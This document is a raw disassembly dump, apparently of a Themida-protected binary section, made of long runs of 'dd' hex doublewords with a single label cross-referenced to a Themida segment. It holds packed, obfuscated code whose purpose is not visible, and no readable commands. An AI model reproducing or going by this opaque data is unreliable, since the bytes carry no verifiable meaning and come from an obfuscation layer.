		dd 21966h, 316C1000h, 76758BCAh, 0E1232749h, 0D4D0E01Fh
		dd 285C740Dh, 594A5A99h, 0A487986h, 16C5317Eh, 791FA4E1h
		dd 69A79270h, 0BAA3DCh,	0A000005h, 90A84194h, 172FC81Fh
		dd 0A0B85196h, 2B43DCE3h, 0ECCF687Fh, 885F4B05h, 10D7D7EFh
		dd 9A2D5F77h, 27BCE901h, 0E4FAA78Eh, 16C52E5Dh,	6C4EDED8h
		dd 0A0273D31h, 1B1CF63Dh, 691BA0E1h, 636278B7h,	0CE232749h
		dd 8494E10Ch, 82B2BF06h, 0F27C007h, 0EA224D9Ah,	66FD28BFh
		dd 0B2F72972h, 0A2E6F635h, 2B38F823h, 0DAB55C8Ch, 7B98A84Dh
		dd 42000001h, 0F01BA8DDh, 5DF6CDB8h, 0F33299D4h, 2062A3DDh
		dd 97C28423h, 0CC19CE59h, 0D4C7A516h, 56F68D34h, 4770A8h
		dd 6C1A0000h, 7B8BCA31h, 0CA8AB50Ah, 435378BDh,	91517C43h
		dd 684C4E84h, 61862320h, 0CC12C44Bh, 707D3F16h,	2875A062h
		dd 28536A18h, 8C132968h, 716CC12h, 77023845h, 4E16CC13h
		dd 34DD2B70h, 19A856FDh, 0CDh, 1BA8DDC3h, 7DCCB8F0h, 12435E09h
		dd 795748F0h, 26649CC7h, 2B4749Fh, 0B8ED2550h, 0BFB3002Bh
		dd 345267A1h, 6C9CA933h, 0E411AA39h, 0E20DD4D4h, 46CDE322h
		dd 0C11CF5DBh, 0FFBCF2FFh, 0C41CF5DFh, 0E06902C1h, 0E9FF3EADh
		dd 23228F34h, 0E50A490Bh, 0AC71D7F1h, 90BA69B1h, 8FBFCC13h
		dd 1B33CC1Bh, 0AFB2586Fh, 7F69AB1Dh, 3B55D46h, 0C1BF0000h
		dd 4A455DF6h, 0DDCCE47Dh, 56556D06h, 0A4E0F891h, 0BAA1841Dh
		dd 0A23B8AFEh, 2AC31A8Ah, 0B44D9012h, 41DAE99Ch, 1097AD5Ah
		dd 8B16C52Ch, 0B8C80191h, 90C8F3CAh, 0B18CA11h,	0D918AFDBh
		dd 0DCEBA4B4h, 3AC1F1B1h, 0B51CF63Eh, 2F47E6F3h, 92E6D7Ah
		dd 0F63E6CF3h, 0FEADE71Ch, 8B2A37E9h, 1BA8DD9Dh, 0F6CDB8F0h
		dd 3299D45Dh, 69C3DDF3h, 2A642320h, 8AB5677Eh, 9908183Dh
		dd 128B1242h, 0B9CF16CCh, 16CC1332h, 21E3EBADh,	1355DE14h
		dd 5F5316CCh, 0D53A733Ch, 3E668096h, 45071CF6h,	0A8DDBEACh
		dd 0CDB8F01Bh, 0C27D359Ah, 0FCFFACDh, 0FC02EB01h, 7528B14Ah
		dd 0F7314786h, 0D823201Dh, 22ADEB16h, 8316CBD5h, 5E96C106h
		dd 2A6E992Ch, 95494F4Ch, 0FD24E4B7h, 60A856BBh,	27h, 0CA316C0Ah
		dd 6873758Bh, 22E42320h, 132EB9F7h, 270516CCh, 0FD6D9474h
		dd 6676A856h, 0B676A124h, 0C1BEA9h, 0DD680000h,	0B8F01BA8h
		dd 92CAF5CCh, 6DA5D017h, 0F412AB38h, 1CF64337h,	0A13A89FCh
		dd 243A1C89h, 1CF6399Dh, 79A45618h, 0EF2E9DD0h,	20544FD9h
		dd 0CF0ED023h, 0ECA7B6AAh, 70047F3Ch, 0CBD1B940h, 60E7FD16h
		dd 0DB16CBD2h, 424F1119h, 7C631AA3h, 8D6C273Dh,	8D4F1CF8h
		dd 8035294Eh, 0FB265F33h, 2AF279A9h, 0AB6D109Fh, 2434599Eh
		dd 23536067h, 0AFC76067h, 4946ECFBh, 3963818Bh,	2311700h
		dd 453B0000h, 0CEC1D972h, 594860F9h, 0D2D1E982h, 285C740Dh
		dd 361D0099h, 1EB70E7Ah, 0A63F8606h, 30C91C8Eh,	0BD566D18h
		dd 8C1329D6h, 716C52Ah,	0A9DD7D0Dh, 2BDDE0A2h, 0B80F7A92h
		dd 0A7E2F21Fh, 0C80D1320h, 0CAF5CCB8h, 215CFD0Ah, 63657BBAh
		dd 9D232068h, 9AC5128Dh, 85BFCDDAh, 0D292BD0Ah,	2CB7F520h
		dd 316CC13h, 6B927625h,	0CEA856FDh, 0C2h, 1BA8DD78h, 0F5CCB8F0h
		dd 42CF8CCAh, 5A7F1CF6h, 0F638BD44h, 6976381Ch,	0DE774C39h
		dd 0EF768CB1h, 6A1CF638h, 126F7D4Ch, 0D789D894h, 3FFB8298h
		dd 0B4761CF5h, 0B53277A7h, 3FACE18Ah, 5A60EA00h, 1FE1231Fh
		dd 5B40FD86h, 0A7E7F71Ch, 2835F520h, 0F7DED8F2h, 7F5B791Ch
		dd 9958141Bh, 6517ACD9h, 206474B3h, 0B4F008A1h,	0C2EDFAB5h
		dd 0B3AA5002h, 0AB6380A8h, 1458972h, 514F0000h,	0DAD5ED86h
		dd 2D5C740Dh, 0A6E5FD96h, 34708821h, 4A3114ADh,	32CB1A8Eh
		dd 0BA536A1Ah, 44DDE0A2h, 0D16A792Ch, 0A0273DEAh, 1B16C529h
		dd 0A9DD9121h, 4454811Ah, 45758241h, 0CE990B40h, 20E00BDAh
		dd 0D183436Eh, 0A8DD4A38h, 0B4DFE0A3h, 4DBCAF4h, 0BAEF2752h
		dd 978F7B5h, 15C787B2h,	879DEAh, 7B1CF63Eh, 0BC5507B9h
		dd 0E3087A33h, 0F63E46CDh, 0CFFFC11Ch, 1CF63E48h, 0D75E74C3h
		dd 521CF63Dh, 0ED2CDE90h, 0F0C7B8C8h, 0CB188DC5h, 212EE0A0h
		dd 2749E8EBh, 0F60C5B23h, 16C5336Fh, 4B7628EAh,	0B8519613h
		dd 0B3DEE5A0h, 0A42B4166h, 0E816C532h, 0C5334BD2h, 0FC04C616h
		dd 23F72D3Ah, 161C494Eh, 0ED255097h, 2AFF2AB9h,	876B2D6Eh
		dd 0DBCE5249h, 92A8CD0Ch, 1141190Bh, 18B7C486h,	0C7C68500h
		dd 6315D500h, 0C4830038h, 16D601C0h, 0BEF53964h, 3B6EF1AEh
		dd 0FC181ACh, 1933BAD0h, 0ECAE1141h, 63A8F3DFh,	66905753h
		dd 6696A322h, 0DE0BA423h, 0DD08DFCEh, 2CDEE5A5h, 0A0BAEF1Fh
		dd 4119038Ah, 0E0607E11h, 92F59511h, 438234E6h,	0D181081Eh
		dd 0AADA1140h, 2028E813h, 3720515Eh, 3,	0DD6E7CC9h, 0B1E914A3h
		dd 8CC4EFF4h, 649CC71Eh, 3A729D24h, 144C774Eh, 0EE265190h
		dd 0C7FF2ABDh, 9ED601C6h, 0EEABD6E1h, 8904EC83h, 0E189240Ch
		dd 4C181h, 0E9830000h, 240C8704h, 6AA6685Ch, 1C890000h
		dd 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h, 68241489h
		dd 6310BEEh, 4EC835Bh, 83242489h, 5A042404h, 4EC81h, 4890000h
		dd 8B824h, 0D0010000h, 8B581889h, 89562414h, 4C681E6h
		dd 81000000h, 4C6h, 24348700h, 241C8B5Ch, 5E08950h, 4
		dd 405h, 24048700h, 32DCE95Ch, 7EFEFFFAh, 3115F8B8h, 0FFC50306h
		dd 0DE480CE0h, 31B4696Dh, 66F2267Ch, 0FB68835Eh, 6384664Eh
		dd 0B777DC3Dh, 0A092DF5Ch, 52EE9851h, 54C5C435h, 0A2636605h
		db 1Dh
byte_5BD425	db 0E9h, 23h, 0		; DATA XREF: Themida_:005603EEo
		dd 0AFC10000h, 30C8h, 7	dup(0)
		dd 4B3E900h, 0FB680000h, 0E9063117h, 0FFF96742h, 31186B68h
		dd 6738E906h, 0CC68FFF9h, 0E9063119h, 0FFF9672Eh, 15AFAD3Bh
		dd 30CAA45Dh, 4DE78B78h, 6D077195h, 8B254FB5h, 0A361E5AFh
		dd 867F37D1h, 499E56F0h, 43BF7711h, 94AD932Dh, 0A093969Fh
		dd 0C4942928h, 0BDA7CD37h, 0D1169D65h, 2EDE7889h, 0FCE190D9h
		dd 2F8214BBh, 0D8F7EE2Ah, 0B0857A29h, 7226FC2h,	2E40A59Ch
		dd 9324458Eh, 20053E28h, 31DFC8E6h, 4237E691h, 289A7BF3h
		dd 0FD6259C4h, 289A7C3Ch, 0E1D685B4h, 289A7C54h, 0E909006Bh
		dd 0CC00AF6h, 3402D912h, 1CB7A1CDh, 2C11425h, 164C0000h
		dd 7BC41987h, 6388E7CCh, 0AA1505CBh, 539F94B3h,	0EC2445B7h
		dd 5FE3C881h, 73E53497h, 9766CFC4h, 3C761DBEh, 7334355Bh
		dd 0EBE24D4Fh, 0F24360B5h, 2117D9F8h, 0EC142116h, 40AB1DBEh
		dd 8A6F1E2Fh, 4545F654h, 48675EE1h, 950DCB53h, 7761CC1Fh
		dd 0DA89D227h, 0AAD49BE5h, 0C271DC21h, 0C8620EF4h, 787EF210h
		dd 5FADB098h, 0CD0B57B1h, 3C000002h, 5E16B0ACh,	7931CBA3h
		dd 964EE88Ah, 0B66E0870h, 0B08C264Eh, 0D2A262E6h, 0F1858038h
		dd 12489F57h, 2E42C078h, 0A095AE94h, 28A09495h,	3FC5952Ah
		dd 0FDF2A1EAh, 245E6A86h, 0C0B84E1Ch, 3DEC57C9h, 45DF956Fh
		dd 0C640778Dh, 1C2DC8B2h, 0C629F6Dh, 843CBB15h,	98E3C199h
		dd 0C429FB3h, 928935E8h, 0BCC2AE54h, 5E2C335Eh,	5D4591EBh
		dd 0CC000002h, 0EEA6401Ch, 9C15B13h, 26DE78FAh,	46FE98E0h
		dd 401CB6BEh, 6212F276h, 81F510C8h, 0A2B82FE7h,	0BEB25008h
		dd 30253E24h, 28A09505h, 3F5525BAh, 5703E4EAh, 0E1A29746h
		dd 0A2245E6Ah, 6BCE4D37h, 8528A093h, 0DDAB6255h, 1759027h
		dd 746B7C17h, 181FAA20h, 18526D9h, 0B2970000h, 0EFF98FB0h
		dd 0CD251CE9h, 0BBA5CB37h, 37D19F63h, 564B3287h, 226F7CDFh
		dd 0B56475E0h, 705A00E7h, 0CABFDED5h, 244559A0h, 4DCCB621h
		dd 2899A0ECh, 0F5E1D404h, 0D9112DD5h, 8FE51FEDh, 738798h
		dd 13F80000h, 90B85FF3h, 0EA42399Bh, 0FA7E8856h, 487E7510h
		dd 6FBAAF3h, 244556ACh,	2BDBA958h, 0A6DD584Dh, 0D9E22899h
		dd 99A751E4h, 0EAFB6628h, 0AA7881F3h, 942F1959h, 99A7969Fh
		dd 0F0BE2928h, 0D9745E12h, 0D7A5DEC8h, 0A297462Ch, 2899A793h
		dd 5DC2B924h, 2899A6DCh, 3AF1E414h, 0F5DF7B6Ch,	0BB0F635Ah
		dd 15D91137h, 9Bh, 264AB886h, 0CFC6AA58h, 0A5CB3777h, 9BBF28F6h
		dd 12F24AA4h, 4155FA5h,	3040C21Ah, 5C14EE46h, 4D23DFADh
		dd 726D4C56h, 69226F78h, 8D3DD799h, 4B40EF38h, 2443C89Ch
		dd 3705B41Fh, 49F8A7CDh, 9C38E154h, 746BD628h, 2252B26Ah
		dd 8AB7081Ch, 9BE7416Ah, 0FCh, 45DF7D6Bh, 60FA748Dh, 7D175BA8h
		dd 9D3741C5h, 0BB551FE5h, 739115DFh, 56AF6701h,	19CE8620h
		dd 13EFA741h, 0C4DDC35Dh, 0A09666CFh, 0F4C45928h, 0DA7CD37h
		dd 14C3AD55h, 0BFB6BE46h, 0B44E1CB5h, 566DC5BCh, 7DEAAA71h
		dd 9004553h, 4F3937CBh,	5DA80BF7h, 0BE9C4B19h, 8E2839D4h
		dd 914089DEh, 455C0C9Ch, 73228D24h, 7B155FA5h, 99E49D9Ch
		dd 0C4AC5628h, 0E292722Ah, 7EACF8h, 3FEA0000h, 0FDF2A1EAh
		dd 245E6A8Ah, 0C5955220h, 7F15CCEh, 0A66053AFh,	92F63F34h
		dd 5EC928A0h, 0EAA23C4Dh, 0EF6E5818h, 1AC7DF31h, 26583DDEh
		dd 0EC430F68h, 0EADDFDF4h, 0E882EE14h, 0EF9ED230h, 0E5757240h
		dd 382145F0h, 0B0527A53h, 2A3BD6C0h, 0D2A0D933h, 0D4B4232h
		dd 2D07FF9h, 1F797000h,	0B88E819Bh, 0D48C264Ah,	0F680852Eh
		dd 996836E5h, 9B85E918h, 9EF8EF00h, 352h, 0D62E9000h, 0C1ABB137h
		dd 0EDD79969h, 1E085295h, 4D373FC6h, 7B650FF5h,	0A993E123h
		dd 0D9C3B551h, 6F08281h, 311B53AEh, 7CDC6816h, 2C890000h
		dd 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h, 68241489h
		dd 7C9Ah, 50240489h, 578DBF57h,	0EF810CE4h, 75943E08h
		dd 821CF81h, 0CF817374h, 550A33C5h, 0F7814F4Fh,	0E2591E64h
		dd 2D5FF889h, 0EF60E8Bh, 8358C289h, 248904ECh, 24048324h
		dd 81525804h, 479E2434h, 408F7C94h, 4DBD5508h, 8126ED23h
		dd 8C235CF5h, 8FF58118h, 3142F547h, 0FF5D0868h,	83582434h
		dd 148B04C4h, 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h
		dd 0F9629DE9h, 305C9BFFh, 1AEDB870h, 0C5030631h, 0DA13E0FFh
		dd 4FDD0307h, 68D80E2Dh, 8B4A2BC9h, 994E3BE5h, 3D5E1F71h
		dd 8F1C25F8h, 101D2666h, 413164ECh, 547847A1h, 6ACB321Fh
		dd 56EC3AAAh, 0B5C84073h, 6CFD379Eh, 6C7C3E73h,	0ECC15A86h
		dd 8C505AF1h, 8D8D7FF7h, 6311CAAh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 7AC35545h, 0B70FCCCFh, 0FE851D3h
		dd 32000000h, 0A30EAEC1h, 8ECAD25Bh, 0E575A6B5h, 850B64CDh
		dd 62A2029h, 8D895E5Fh,	62A3395h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 0E0C35343h,	9281069Bh, 0F985C761h
		dd 2C062A0Bh, 29000073h, 2A2C9995h, 0C585C706h,	62A06h
		dd 0B8000000h, 548E4FACh, 239DB5FFh, 6A062Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 6D8343C3h
		dd 0D59589BDh, 0FF062A21h, 2A05C195h, 5E906h, 63500000h
		dd 6A67039Ch, 3995FF00h, 8B062A34h, 50DEBC0h, 0A18564C3h
		dd 0C61ABE8Bh, 2D468678h, 0AE8h, 0C8762D00h, 0B0BBB57h
		dd 58496E3Bh, 5A08C081h, 68FC0000h, 1654h, 9FF78166h, 8A0F5A44h
		dd 0Ch,	7E9h, 6B970900h, 0F600F428h, 0C181088Bh, 504EF812h
		dd 2CF1B58Bh, 0F181062Ah, 0E0B9BB4h, 81B0EB80h,	263EEBC1h
		dd 1E8BE19h, 2951387Dh,	2A16C18Dh, 0E9008F06h, 13h, 1FA8FA26h
		dd 38E1194Eh, 18EE0A00h, 5339253Bh, 83DCB42Dh, 0F18B03E8h
		dd 6DB50948h, 83062A12h, 850F01EAh, 1Ah, 111D9589h, 2AE9062Ah
		dd 0D0000000h, 386C8D6Ch, 0B9026165h, 0A59FE23h, 8589509Dh
		dd 62A1831h, 0FFFF83E9h, 94E8FFFh, 0E32D105Bh, 636C9E99h
		dd 9F389618h, 328D8D2Fh, 8906311Eh, 2A006195h, 958D8906h
		dd 6A062A33h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 2996C352h, 563BD3A0h, 85C7C262h
		dd 62A0BF9h, 5E24h, 6850Fh, 85890000h, 62A358Dh, 0C715C880h
		dd 2A06C585h, 6, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 6863837h, 3455B5FFh, 6A062Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 97C7E0C3h, 887F0F69h, 0FFFF0B7Fh, 2A05C195h,	9DBD2906h
		dd 6A062A0Fh, 3995FF00h, 8B062A34h, 0AC4EEBC0h,	0F4A34180h
		dd 2E3603DDh, 83EC34C6h, 22D84564h, 3FF8133Dh, 5818C582h
		dd 5D35E14Ch, 0F0A14809h, 2A13E7D8h, 776F243h, 8FE37B86h
		dd 0B6BD0D06h, 58CEAF47h, 19B67732h, 31E521F9h,	0FED8A50h
		dd 0F472BE33h, 9504D0A2h, 0DD0A9967h, 758D8D49h, 0E906311Fh
		dd 0Dh,	3270DD7Bh, 0DBD3405Fh, 90D17753h, 958D8972h, 0E9062A33h
		dd 12h,	0DCABF4E1h, 0CE605F12h,	6009254Bh, 2A2811C8h, 85C7DF8Ah
		dd 62A0BF9h, 5EACh, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h
		dd 1Ch,	85C35747h, 0BB096EFBh, 0FF4FC1B5h, 0F454CB81h
		dd 12E92C35h, 0B8000000h, 275FAF1Eh, 0F41CA7BAh, 2FC4FFA4h
		dd 195556B4h, 0C585C7DEh, 62A06h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 7EFFC351h, 0F781664Fh, 8D891787h, 62A072Dh, 13BDB5FFh
		dd 6A062Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 0CD1800C3h, 2AB5DA81h, 95FF27B8h,	62A05C1h
		dd 5E1BD31h, 6A062Ah, 343995FFh, 0C08B062Ah, 9DBD7FEBh
		dd 35A3C79h, 0DCAE7FC5h, 0E6541C07h, 0ADE1549Dh, 4CA6FA1Ch
		dd 9DDF8717h, 5EBF86D3h, 0D7790643h, 302C6DC0h,	0DDB38E20h
		dd 325E0C38h, 0DD7FCA4Dh, 45A8C02Ch, 0BE553DC4h, 15DAB13Ch
		dd 4B70AC4Ch, 0CB8BBC17h, 735290F1h, 0A974C008h, 0DFCD6E37h
		dd 6AD11143h, 0CB507820h, 0E5702604h, 616961DAh, 59CFCD5Eh
		dd 6AE916C9h, 17482FA8h, 19BEA893h, 8C968471h, 0A408678Eh
		dd 8DF01C83h, 938D8DA8h, 9063120h, 2A0871BDh, 6E906h, 33970000h
		dd 8EC57046h, 33958D89h, 6A062Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 57ED02C3h, 0F432C46h
		dd 9D8BD1B7h, 62A2AADh,	0BF985C7h, 6298062Ah, 85C70000h
		dd 62A06C5h, 0
		dd 4C18BB66h, 251DB5FFh, 0BD29062Ah, 62A0345h, 14E9B58Bh
		dd 95FF062Ah, 62A05C1h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 27C35141h, 95FF006Ah,	62A3439h, 19EBC08Bh
		dd 39D1DE7Fh, 30AD4D67h, 5155DEDBh, 0B52220B4h,	0F594F822h
		dd 31FC8C4Ch, 0AE8A9h, 706C0000h, 55D47F8Bh, 9676C34Fh
		dd 5E9h, 0B5E5AD00h, 0F5EEBCBh,	88Dh, 2830F00h,	8B000000h
		dd 81C681D3h, 8B000061h, 2A04AD95h, 1837B806h, 8D8B0000h
		dd 62A0CB1h, 0B9661E8Bh, 0EB818453h, 34040DDEh,	81D3BF0Fh
		dd 7F3122F3h, 81C3B671h, 748CD3EBh, 7DB52947h, 53062A10h
		dd 85D71BFh, 29068F66h,	2A25A1BDh, 4EE8306h, 2DC18529h
		dd 0E883062Ah, 12850F01h, 0F8000000h, 26E9h, 0FD735D00h
		dd 44128B25h, 167CDE6h,	0E91AB2D7h, 0FFFFFFA4h,	0C393E091h
		dd 0D0AF091Ah, 7F49636Bh, 3EEB702h, 0E88842B9h,	14h, 6071BDD6h
		dd 0C3F688E0h, 0A608A90Fh, 997EC1E2h, 3B49B763h, 2860Fh
		dd 5A510000h, 0E59D0B5Eh, 81062A19h, 6462C6h, 39B53100h
		dd 2B062A06h, 0AD958BC0h, 8B062A09h, 958B060Ch,	62A2E09h
		dd 3BE2F181h, 8B66574Dh, 0ABC181FEh, 0F7DE934h,	684h, 95958B00h
		dd 81062A00h, 7DA8F2C1h, 0F88B6666h, 0F060C89h,	8166DEB7h
		dd 83043DEBh, 9D0103E8h, 62A18DDh, 0D6B70F48h, 9C24F881h
		dd 850FFFFFh, 0FFFFFFAFh, 8D8D72B6h, 631228Ah, 17498589h
		dd 8D89062Ah, 62A3395h,	1639BD89h, 85C7062Ah, 62A0BF9h
		dd 73CCh, 0F76DBB66h, 6C585C7h,	62Ah, 0BF0F0000h, 11B5FFDBh
		dd 6A062A03h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0E3D9C351h, 0F59743A5h, 0B70F4F6Dh
		dd 8E9DAh, 68980000h, 0E40EE9D2h, 95FF3C10h, 62A05C1h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 86C35343h
		dd 7EEA76FFh, 6A70B78Ch, 3995FF00h, 8B062A34h, 4C0DEBC0h
		dd 45EE2180h, 0E83DA94Ah, 91AF7010h, 23728D8Dh,	0EB810631h
		dd 315780A8h, 11BE66h, 33958D89h, 8960062Ah, 2A1809BDh
		dd 0BDBD8906h, 61062A32h, 0BF985C7h, 5D58062Ah,	0B70F0000h
		dd 0C585C7C0h, 62A06h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 7761C353h
		dd 0FA0E471Fh, 89C576C0h, 2A2D31B5h, 0B1BD8B06h, 0FF062A0Ch
		dd 2A0311B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 859D8BF8h, 0F062A18h, 687h, 0BD858900h
		dd 0FF062A25h, 2A05C195h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 2DADB832h
		dd 2EAEA15Eh, 0D78BAE2Eh, 6AFAB70Fh, 3995FF00h,	8B062A34h
		dd 350DEBC0h, 0DDEE4940h, 0FA36E745h, 4C49BE58h, 244A8D8Dh
		dd 6A0631h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 880758C3h, 5459E097h, 8B88130Dh, 2800FF8h
		dd 8B000000h, 958D89D6h, 89062A33h, 2A09AD85h, 0F985C706h
		dd 68062A0Bh, 8B000066h, 2A324985h, 0C585C706h,	62A06h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 8861C356h, 3B80E621h, 66FC518Dh
		dd 0FFE6E0BAh, 2A3231B5h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 2D31D8BAh
		dd 968E6DFAh, 15858926h, 0FF062A32h, 2A05C195h,	55958B06h
		dd 6A062A06h, 3995FF00h, 8B062A34h, 0D00DEBC0h,	2C120319h
		dd 383432EFh, 1779C69Dh, 8E8h, 6A85BF00h, 66DB989Ch, 0C8F0F24h
		dd 0F000000h, 689h, 91858B00h, 5B062A13h, 32F9B50Bh, 0C381062Ah
		dd 65F8h, 0C4E68166h, 35F1B912h, 0F18135BCh, 35BC2CBAh
		dd 4C31A8BEh, 0F33FF11h, 687h, 35958900h, 5A062A07h, 81FEB70Fh
		dd 4E36EDC2h, 43EA8122h, 14149A3h, 2A284D9Dh, 9FEA8106h
		dd 0E9780ABDh, 11h, 1B306Dh, 0F64651D7h, 3C150AC1h, 70992D56h
		dd 0BD8B52BEh, 62A2469h, 0B589038Fh, 62A27D5h, 0F55EB81h
		dd 0BD8B1101h, 62A2249h, 0F51C381h, 0B58B1101h,	62A0C15h
		dd 15850F49h, 80000000h, 1EE946D0h, 40000000h, 0A24645F2h
		dd 645E263Ah, 0B2E598B6h, 1A7D9D01h, 72E9062Ah,	0A2FFFFFFh
		dd 8C6E94BBh, 0F08D8DC6h, 66063125h, 896459B8h,	2A33958Dh
		dd 0DA8B6606h, 0BF985C7h, 713C062Ah, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 4EF5CEC3h
		dd 0B5890917h, 62A0F55h, 6C585C7h, 62Ah, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 4D25C7C3h, 216EA3F3h, 0FFB70F60h, 0E1B5FF61h, 66062A28h
		dd 8986C7BEh, 2A17F585h, 0C195FF06h, 6A062A05h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 1E50C353h, 0DEAC3277h, 4BE35760h, 5661F860h,	0D7C7BA66h
		dd 0FF006A5Fh, 2A343995h, 0EBC08B06h, 3D6FB47Ch, 0FD7BE89Eh
		dd 95255FFDh, 0F9076FDEh, 0A69B40D7h, 92DE0E43h, 77B88C68h
		dd 0C67EE41Ch, 51686D84h, 0C1C92AD1h, 4622C31Bh, 0D08C8001h
		dd 1419FBCEh, 0AC8264EAh, 570C5FCEh, 849AF7EFh,	0BC8188C1h
		dd 3176A44Dh, 23151B83h, 51EAABBAh, 8AF26F63h, 759866B7h
		dd 0E03841A7h, 755481F0h, 0C5A3203Bh, 50844BDFh, 0EAB91BE7h
		dd 0C5010517h, 8AE43885h, 0C8AB1049h, 18F9AE72h, 0EE85Ch
		dd 0D6C70000h, 220E7F65h, 246C1923h, 0B6D8E904h, 5860Fh
		dd 81660000h, 59E89EC7h, 0C181FA8Bh, 738Bh, 8FEA8166h
		dd 0E9F62BF2h, 8, 73E778DDh, 3B27168Fh,	6631048Bh, 76C9F781h
		dd 1306C081h, 95897DD1h, 62A00D9h, 5FD4C081h, 9D8B184Ah
		dd 62A214Dh, 0D7E2F081h, 0C7807FEDh, 3104894Fh,	2591958Bh
		dd 0EE81062Ah, 7079BDE0h, 0DCC681F8h, 0E97079BDh, 12h
		dd 80F33C60h, 0F49D38Eh, 80CE475Fh, 0A4742D13h,	0FE81377Fh
		dd 0FFFF8D0Ch, 0FF9E850Fh, 0C780FFFFh, 12E8F9h,	0CAD80000h
		dd 2973C91Ch, 0C61495BBh, 9BEEDF42h, 0E067F604h, 0B5D850Bh
		dd 95B062Ah, 2A208185h,	0C1C38106h, 8B000068h, 2A2311BDh
		dd 6806h, 89500000h, 2A2379B5h,	665E5806h, 34FFD38Bh, 79BD8B1Eh
		dd 59062A13h, 122D9529h, 0F181062Ah, 732BDEA1h,	11E8h
		dd 0F6AF7F00h, 0FE8083E8h, 0C2EB6B18h, 0B1B96020h, 12E82E0Dh
		dd 64000000h, 0EAAF77Fh, 0EC778867h, 0D8FE40D4h, 0BFC940B5h
		dd 8A0FBBh, 58000000h, 2AE98158h, 0E8795256h, 0Bh, 0EE205067h
		dd 0BF92DF56h, 895049CAh, 2A0A4DB5h, 0F1815806h, 4F944E39h
		dd 0C28B6651h, 330C895Ah, 7E8h,	95D67700h, 532B0781h, 5FFABF0Fh
		dd 6004EE83h, 8B0Fh, 9D8B0000h,	62A0D11h, 3CFE8161h, 0FFFFF98h
		dd 1085h, 1DE900h, 89660000h, 7241217Dh, 49F4AFADh, 0E9E58AEAh
		dd 0FFFFFF46h, 0FCBE151Ch, 0C50234Bh, 0E8A97FF6h, 7, 2B65FAF5h
		dd 66C84279h, 665FC28Bh, 81D8E5B9h, 6C93C7h, 91958B00h
		dd 0BE062A03h, 1B07h, 3341958Bh, 1F8B062Ah, 2A918523h
		dd 0F381062Ah, 44D8363Fh, 6860Fh
		dd 8D890000h, 62A1F65h,	5CCAF381h, 8D8B73DEh, 62A02F9h
		dd 9EC9C381h, 8D8B1D7Fh, 62A1109h, 18D8B53h, 8F062A08h
		dd 0EF83F807h, 4FD78B03h, 1EE81F5h, 0F000000h, 0FFFFB185h
		dd 0CD958BFFh, 0E8062A1Bh, 8, 81F4E7E3h, 4FDCB670h, 22C5B589h
		dd 0F5B062Ah, 0C381C1BFh, 6AF6h, 0DF98D89h, 0F62B062Ah
		dd 19F1858Bh, 34FF062Ah, 68D0F1Eh, 89000000h, 2A24F99Dh
		dd 800F5A06h, 6, 28799D29h, 0EA81062Ah,	2CA7F0B9h, 12E960h
		dd 6AC70000h, 0B807C8C6h, 6B446DA8h, 1D449F67h,	59034EA9h
		dd 0DF19D89h, 8161062Ah, 60A561F2h, 1F56018h, 2A1FC5BDh
		dd 0C2816106h, 69C9B20Eh, 0EB31BEB9h, 3314896Ah, 8BFFBF0Fh
		dd 2A104585h, 4EE8306h,	9E9h, 0BB31C00h, 0D3149023h, 0FE81FAAFh
		dd 0FFFF95D8h, 15850Fh,	8C0F0000h, 4, 9B01BF66h, 19E9h
		dd 0B0F41800h, 5727222Ah, 5FE958FCh, 6EFFFFFFh,	6D7434EEh
		dd 0A80CA298h, 0AC42C3D1h, 2406A234h, 7D7AA27Ch, 110F3BB3h
		dd 2A21801Ah, 259083B4h, 25C46F30h, 98A78630h, 23389951h
		dd 5A8D8930h, 0A6848630h, 0F62978Dh, 0A12E8636h, 25908642h
		dd 28103F6h, 4D6A801Ah,	79CA90C8h, 6D2D82B1h, 0DACFECF0h
		dd 0F5DE785h, 8CA40B36h, 0DA96ABB1h, 0E3B80DE0h, 0F034FB5h
		dd 6B7AC836h, 0A47500F0h, 3376A234h, 90BDAD8Ch,	230BA621h
		dd 0A43903BDh, 0F5B7801Dh, 359D7EBBh, 0CC128630h, 25098638h
		dd 2B018996h, 6C428630h, 0A02E4F3Bh, 0DA6F79C0h, 25488BD9h
		dd 0B2B90B30h, 9D14AC7Eh, 25098635h, 980965CFh,	2373AF5Eh
		dd 0F0D0BBDh, 37288001h, 0ECEB615h, 0AC4247FFh,	2406A234h
		dd 7D7AA27Ch, 110F3BB3h, 2A21801Ah, 259083B4h, 25C46F30h
